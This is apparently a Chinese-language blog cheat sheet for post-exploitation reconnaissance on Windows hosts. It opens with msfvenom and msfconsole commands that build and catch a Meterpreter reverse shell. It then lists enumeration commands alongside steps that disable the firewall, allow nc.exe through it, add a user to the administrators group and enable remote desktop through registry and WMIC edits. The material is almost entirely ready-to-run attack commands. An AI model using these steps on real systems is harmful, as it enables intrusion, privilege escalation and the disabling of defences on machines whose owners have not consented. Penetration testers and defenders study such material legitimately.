Windows 主机信息搜集

Windows 主机信息搜集

Posted by Kyon-H on July 24, 2025

1. 前置条件

反弹 shell

Kali:

1
2
3
4
5
6
7
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth0
exploit

2. 系统信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 解决乱码
chcp 437 # change english
chcp 65001 # UTF-8 编码
chap 936 # GB2312 编码

# 查询操作系统版本
# /B 匹配行的开头
# /C 区分大小写
systeminfo | findstr /B /C:"OS"
# 主机名
hostname
whoami
echo %username%
query user
# 处理器架构
echo %PROCESSOR_ARCHITECTURE%
# 获取开机时间
net statistics workstation 

net user <user> # 查看指定用户权限
net user <user> /active:yes

net localgroup
net localgroup administrators <user> /add
# 进程
tasklist
wmic service|process [where state='Running'] list brief|full
wmic product get name,version

schtasks /query /fo LIST /V # 查看计划任务

cmd 执行 powershell 命令

1
powershell.exe -command "get-process"

3. 网络信息搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ipconfig /all
# 当前网络连接
# a: 显示所有连接和监听的端口
# n: 以数字格式显示地址和端口
# o: 显示与每个连接关联的进程 PID
netstat -ano
# 本机共享列表
net share
# 以简洁的方式列出共享的信息
wmic share list brief
#自定义显示字段
wmic share get Description,name,path,status
net use
net session
# arp缓存表
arp -a
# 路由表
route print
netstat -r

4. 安全信息搜集

1
2
3
4
5
6
# 查看启动程序信息
wmic startup get command,caption
# 查看计划任务
schtasks /query /fo LIST /V
# 查看补丁列表
systeminfo

4.1. 防火墙

4.1.1. 查看防火墙配置

1
2
3
netsh firewall show config
netsh advfirewall firewall show rule name=all dir=in | find <rulename>
netsh advfirewall firewall show rule name=<rulename>

4.1.2. 修改防火墙配置

Windows server 2003 及之前版本

1
2
3
4
5
6
# 允许指定程序通过
netsh firewall all allowprogram c:\nc.exe "allow nc" enable
# 查看防火墙状态
netsh firewall show state
# 关闭防火墙
netsh firewall set opmod disable

Windows server 2003 之后版本

1
2
3
4
5
6
7
# 允许指定程序
# dir: in|out
netsh advfirewall firewall add rule name="allow nc" dir=in action=allow program="c:\nc.exe"
# 允许指定端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 关闭防火墙
netsh advfirewall firewall set allprofiles state off

4.2. 远程桌面

1
2
3
4
5
6
# 开启远程桌面服务
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 开启3389端口
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
# or
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

windows server 2003开启 3389 端口

1
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

在 Windows server 2008 和 Windows server 2012 中开启 3389 端口

1
2
3
4
5
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
# 
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
# 
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

4.2.1. 远程桌面端口设置

查询 Windows 注册表中与远程桌面服务(RDP)相关的端口设置,特别是 RDP 使用的端口号。

1
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

image.png

修改远程桌面端口

1
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber /T REG_DWORD /D 3389 /F 

4.3. 自动脚本

WMIC(Windows management instrumentation command-line,windows 管理工具命令行)是最有用的 Windows 命令行工具。在默认情况下,任何版本的 Windows XP 的低权限用户不能访问 WMIC, Windows 7 以上版本的低权限用户允许访问 WMIC 并执行相关查询操作

WMIC 脚本的下载地址:Coding: wmic_info.bat

执行该脚本后,会将所有结果写入一个 HTML 文件

4.3.1. Wmic 命令

1
2
3
4
wmic service [where state='Running'] list brief|full
wmic product get name,version
wmic startup get command,caption # 查看系统启动信息
wmic qfe list brief # 列出所有安装的补丁

4.3.2. Netsh 命令

1
2
3
netsh firewall show config # 查看防火墙配置
netsh advfirewall firewall show rule name=all dir=in | find <rulename>
netsh advfirewall firewall show rule name=<rulename>